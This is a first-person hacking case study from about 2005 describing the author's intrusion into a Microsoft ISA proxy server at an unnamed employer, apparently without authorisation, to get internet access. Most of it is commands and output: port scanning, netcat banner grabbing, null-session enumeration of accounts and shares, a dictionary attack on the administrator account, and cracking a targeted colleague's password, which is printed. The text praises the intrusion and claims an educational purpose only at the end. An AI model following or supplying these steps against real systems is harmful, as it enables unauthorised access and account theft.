



Real Time Hacking : ISA Server

[Case Study Of Telecommunication Company]

Abstract

This case study is entirely based on my hacking experiences with Microsoft ISA Servers. It gives you people with the way to get related to the ISA server and how to exploit and manipulate it according to your usage. This experience comes in my way when I was working for some professional organisation where security is implemented with this server. I can't tell you the name of the organisation but the response of the target I provide you is original and worth.

What I got only a simple Windows 2000 system with no internet connection but only netbios enabled with internal connection. Let's see how the Hacker Penetrates the way to get the things done.

This experience is intermingled with knowledge and Learning.

ISA Server WaySide:

ISA stands for Microsoft Internet Security And Acceleration Server. It is basically used in the corporate environment to provide intranet facilities with proper designed firewall policies which already present in the server itself.

ISA Provides three elementa checks:-

0x01] Application Layer Inspection Firewall.

0x02] VPN

0x03] Web Cache Solution.

Hit One:

Always remember one thing whenever these three elements are applied with full defined policies the ISA server will be definitely used as Proxy Server in the intranet that is defined in the corporate environment. As the server is going to be used as reponse provider. This can be under taken as because ISA server cant be used as whole organisational server through which the whole internet is accessed. Its basic use is to implement the requirements of intranet in the corporate culture. So We are sure of one thing PROXY is definitely be there.

ISA Server As WEB Proxy:

ISA servers entirely works on Web filters that evaluates , redirect and modify the HTTP requests based on the defined policies that are used to create filters.

These filters are same as ISAPI filters defined for IIS web server.

Technical Detail:

ISA Server Web proxy passes pointers to one or two HTTP_FILTER_VERSION structures to the Web filter, depending on which entry-point functions are implemented by the Web filter. The Web filter uses members of these structure to pass information back to the Web proxy. This information includes the version number of the Web filter API used by the Web filter and a bitmask that specifies the types of Web proxy events for which the filter should be notified. Each time one of those events occurs, an event notification is sent to every Web filter that has specified interest in that event. When designing a Web filter, consider what events you want the filter to react to, and decide what processing the filter will perform when each event occurs. In addition to these basic design considerations, you must ensure that the Web filter will be properly installed by adding it to the collection of Web filters (the FPCWebFilters collection) so that it is loaded by the Web proxy. When you add a Web filter to this collection, you must set its priority, which is stored in the Priority property of the FPCWebFilter object created. Web filters that alter the data being transferred, such as encrypting or decrypting filters, should be assigned a higher priority than other Web filters during setup.

Vulnerabilies OF ISA Server:

You will find many vulnerabilities for the ISA server. These vulnerabilities are specific and not exploited in a best way. No Such exploits are available. You pick the exploit and run it. Thats not a best part of hacking. Hacking means to get your work done with the minimum requirements.

I am only listing the vulnerabilities of ISA Server:-

[0x01] HTTP/HTTPS Service Basic Authentication Disclosure.

[0x02] HTTP Request Smuggling Vulnerability.

- [0x03] Netbios Predefined Filter Policy Bypass Vulnerability.
- [0x04] HTTP Response Splitting Vulnerability.
- [0x05] Proxy Server Website Spoofing Vulnerability.
- [0x06] FTP Bounce Filtering Vulnerability.
- [0x07] HTTP Authentication Scheme Vulnerability.
- [0x08] Server Cross Site Scripting.

You will find Many Denial Of Service and Cross site scripting Vulnerabilities.This is the overall phenomenon how the general approach goes.

[The Hack Begins]

[0x0A] Practical Hit With Defined Outputs:

Remember Hacking is overall phenomenon.It encompass social engineering too The IP Of Target which is used as internal DNS Server.

Target IP --> 172.20.0.59

I exploit and torture every vulnerability but it cant satisfay my needs.So I did it my way.I manipulate the system for setting as Proxy to access the Internet connection.

0x0A.1] First Lets Go With Ping.

```
[X]Hacker@ZeroKnock[X]ping 172.20.0.59
```

```
Pinging 172.20.0.59 with 32 bytes of data:
```

```
Reply from 172.20.0.59: bytes=32 time<10ms TTL=127
Reply from 172.20.0.59: bytes=32 time<10ms TTL=127
Reply from 172.20.0.59: bytes=32 time<10ms TTL=127
Reply from 172.20.0.59: bytes=32 time<10ms TTL=127
```

```
Ping statistics for 172.20.0.59:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms
```

Result:The Target System Is Up.

0x0A.2] The Very Essential Tracert.

```
[X]Hacker@ZeroKnock[X]tracert 172.20.0.59
Tracing route to HDELC48ISA01.<DomainName>.com [172.20.0.59]
over a maximum of 30 hops:
 1 <10 ms <10 ms <10 ms 172.20.3.252
 2 <10 ms <10 ms <10 ms HDELC48ISA01.<Domain Name>.com [172.20.0.59]
```

Trace complete.

Result: This shows the system is two hops away.

0x0A.3] To Know Which Operating System Is Used:

```
I use NudeOS Tool , modified by Me.  
[X]Hacker@ZeroKnock[X]nudeos
```

```
[Nude OS]  
[Remote OS Fingerprinter]  
[::ZeroKnock::]  
[Base By:-Johnny CyberPunk]
```

```
Usage:-NudeOs <IP Address>  
[E]xample:-NudeOs 192.268.170.77
```

```
[X]Hacker@ZeroKnock[X]nudeos 172.20.0.59  
[*] Attacking ----->172.20.0.59:139  
[*] Connection Denied!  
[*] Port Closed || Firewalled || RPC Service Unavailable || SMB Share NULL
```

```
[X]Hacker@ZeroKnock[X]nmap -O 172.20.0.59  
starting nmap 3.93 ( http://www.insecure.org/nmap ) at 2005-11-22 16:04 India  
Standard TimeWARNING: Unable to find appropriate interface for system route to  
172.20.0.254  
nexthost: failed to determine route to 172.20.0.59  
QUITTING!
```

Result: The guess For OS is gone. But i had in my mind it must be windows OS.

[0x0A.4] Scanning The Target:

```
[X]Hacker@ZeroKnock[X]sl -bhv -r -vvv 172.20.0.59  
ScanLine (TM) 1.01  
Copyright (c) Foundstone, Inc. 2002  
http://www.foundstone.com
```

```
Adding IP 172.20.0.59  
Banner grabbing enabled.  
Hostname resolving enabled.  
Hiding systems with no open ports.
```

```
No TCP ports provided - using default port list file: "TCPports.txt"  
No TCP port list file found - using internal TCP list  
No UDP ports provided - using default port list file: "UDPports.txt"  
No UDP port list file found - using internal UDP list  
Scan of 1 IP started at Tue Nov 22 16:09:53 2005  
Pinging 1 IP (ICMP Echo Request)...  
Found 1 live system  
Starting hostname lookups...
```

Scanning 1 IP...
Waiting for hostname lookups to finish...
172.20.0.59
Hostname: HDELC48ISA01.<DomainName>.com
Responded in 0 ms.
1 hop away
Responds with ICMP unreachable: Yes
TCP ports: 80 135 139 443 445 2301 3372 3389 8080
UDP ports: 137 138 161 445 3456

TCP 80:
[HTTP/1.1 200 OK Server: Microsoft-IIS/5.0 Date: Tue, 22 Nov 2005 10:39:53 GMT
Connection: Keep-Alive Content-Length: 1270 Content-Type: text/html Set-Cookie:]

TCP 2301:
[HTTP/1]

TCP 8080:
[HTTP/1.1 502 Proxy Error (The Uniform Resource Locator (URL) does not use a
recognized protocol. Either the protocol is not supported or the request was not]
1 IP and 267 ports scanned in 0 hours 0 mins 10.05 secs

Result: Yipee!!! the Proxy Port Is Located at 8080.I was sure to have response like this.I just need to know which server is this .

[0x0A.5] Connecting With Swiss Army Knife:-Ncat

```
[X]Hacker@ZeroKnock[X]nc 172.20.0.59 8080
```

```
HTTP/1.1 400 Bad Request ( The data is invalid. )  
Via:1.1 HDELC48ISA01  
Connection: close  
Proxy-Connection: close  
Pragma: no-cache  
Cache-Control: no-cache  
Content-Type: text/html  
Content-Length: 2275
```

```
A Stripped Off Response:  
<LI>ISA Server: hdelc48isa01.<Domain Name.COM<BR>  
Via: <BR><BR>Time: 11/22/2005 10:43:14 AM GMT  
</LI></UL></FONT></TD></TR></TBODY></TABLE></BODY></HTML>
```

Result:The Very side ISA server is on your way.
This completes the analysis of target.
Information Extracted:- IP --> 172.20.0.59
Port --> 8080
Server --> ISA

Jolts: I load my Firefox Browser and put IP address with defined output the Port number as 8080 and refreshed it. That's where the ISA server plays its role. The authentication it required. I must have the username and password to prove me as an authenticated user.

[0x0A.6] Enumerating The Target:

```
A) [X]Hacker@ZeroKnock[X]nete \\172.20.0.59
NetE v1.01 - Remote network information enumerator
Questions, comments, bitches and bugs to sirdystic@cultdeadcow.com
NetRemoteComputerSupports():
Error 0x52E calling NetRemoteComputerSupports: Logon failure: unknown user name
or bad password.
```

Result : No Response Failure!

```
B) [X]Hacker@ZeroKnock[X]userdump \\172.20.0.59 guest 5
UserDump v1.11 - thor@hammerofgod.com
Querying Controller \\172.20.0.59
Account lookup failed: Return code 5
```

Result: Again Failure.

```
C)[X]Hacker@ZeroKnock[X]enum -U -S -M -N -S -P -G -L 172.20.0.59
server: 172.20.0.59
setting up session... success.
password policy:
min length: none
min age: none
max age: 42 days
lockout threshold: none
lockout duration: 1 mins
lockout reset: 1 mins
opening lsa policy... success.
server role: 3 [primary (unknown)]
names:
netbios: HDELC48ISA01
domain: <Domain Name>
quota:
paged pool limit: 33554432
non paged pool limit: 1048576
min work set size: 65536
max work set size: 251658240
pagefile limit: 0
time limit: 0
trusted domains:
indeterminate
netlogon done by a PDC server
getting namelist (pass 1)... got 5, 0 left:
```

Administrator Guest IUSR_HDELC48ISA01 IWAM_HDELC48ISA01
TsInternetUser
getting user list (pass 1, index 0)... success, got 5.
Administrator Guest IUSR_HDELC48ISA01 IWAM_HDELC48ISA01
TsInternetUser
enumerating shares (pass 1)... got 6 shares, 0 left:
IPC\$ D\$ mspclnt ADMIN\$ C\$ dd
getting machine list (pass 1, index 0)... success, got 0.
Group: Administrators
HDELC48ISA01\Administrator
<Domain Name>\Domain Admins
Group: Backup Operators
Group: Guests
HDELC48ISA01\Guest
HDELC48ISA01\TsInternetUser
HDELC48ISA01\IUSR_HDELC48ISA01
HDELC48ISA01\IWAM_HDELC48ISA01
Group: Power Users
Group: Replicator
Group: Users
NT AUTHORITY\INTERACTIVE
NT AUTHORITY\Authenticated Users
<Domain Name>\Domain Users
cleaning up... success.

Result: There are system accounts and domain accounts. System Account Wont fetch me much.

DJ[X]Hacker@ZeroKnock[X]userinfo \\172.20.0.59 administrator
UserInfo v1.5 - thor@hammerofgod.com
Querying Controller \\172.20.0.59

USER INFO

Username: Administrator
Full Name:
Comment: Built-in account for administering the computer/do
User Comment:
User ID: 500
Primary Grp: 513
Privs: Admin Privs
OperatorPrivs: No explicit OP Privs

SYSTEM FLAGS (Flag dword is 66049)

User's pwd never expires.

MISC INFO

Password age: Fri Nov 05 12:57:35 2004
LastLogon: Tue Nov 22 04:31:00 2005
LastLogoff: Thu Jan 01 00:00:00 1970
Acct Expires: Never
Max Storage: Unlimited

Workstations:
UnitsperWeek: 168
Bad pw Count: 3
Num logons: 399
Country code: 0
Code page: 0
Profile:
ScriptPath:
Homedir drive:
Home Dir:
PasswordExp: 0

Logon hours at controller, GMT:
Hours- 12345678901N12345678901M
Sunday 11111111111111111111111111111111
Monday 11111111111111111111111111111111
Tuesday 11111111111111111111111111111111
Wednesday 11111111111111111111111111111111
Thursday 11111111111111111111111111111111
Friday 11111111111111111111111111111111
Saturday 11111111111111111111111111111111

```
EJ C:\WINNT\system32\CertSrv>enum -D -u administrator -f Pas.txt 172.20.0.59
username: administrator
dictfile: Pas.txt
server: 172.20.0.59
(1) administrator | hasdh123
return 1326, Logon failure: unknown user name or bad password.
(2) administrator | 123asf,sd
return 1326, Logon failure: unknown user name or bad password.
(3) administrator | manager
return 1326, Logon failure: unknown user name or bad password.
(4) administrator | arvind
return 1326, Logon failure: unknown user name or bad password.
(5) administrator | vineet
return 1326, Logon failure: unknown user name or bad password.
(6) administrator | ftp
return 1326, Logon failure: unknown user name or bad password.
(7) administrator | kirti
return 1326, Logon failure: unknown user name or bad password.
```

Jolt:I need any user account which are listed in Domain than nobody can stop me to access the internet and webserver hit and also i can access the Terminal services as 3389 port is opened.

A.7] My Social Engineering Trick:

I choose the organisation member name which is in the same building where the server is placed.I did this to bruteforce attack for system accounts.

A.8/ BruteForcing Accounts:

I crack the Password of that person PCs I got the password and domain and username for that person.

I Tried:-

```
C:\WINNT\system32\CertSrv>enum -D -u <DomainName>\<Username> -f Pas.txt
172.20.0.59
username:<DomainName>\<Username>
dictfile: Pas.txt
server: 172.20.0.59
(1) <DomainName>\<Username>
password found: manager123
```

A.8/ Authenticate ISA Server Accounts.

I Load my browser,set the connection settings and Authenticate it against server.

Conclusion:

Hacking And Penetration Only means the capability of brilliant minds to get their work done in a minimum requirements. Moreover it requires social engineering tricks , penetration analysis and core knowledge of the target. Its a fusion process. The aim of this case study is education so that one can look into the elemental artifacts.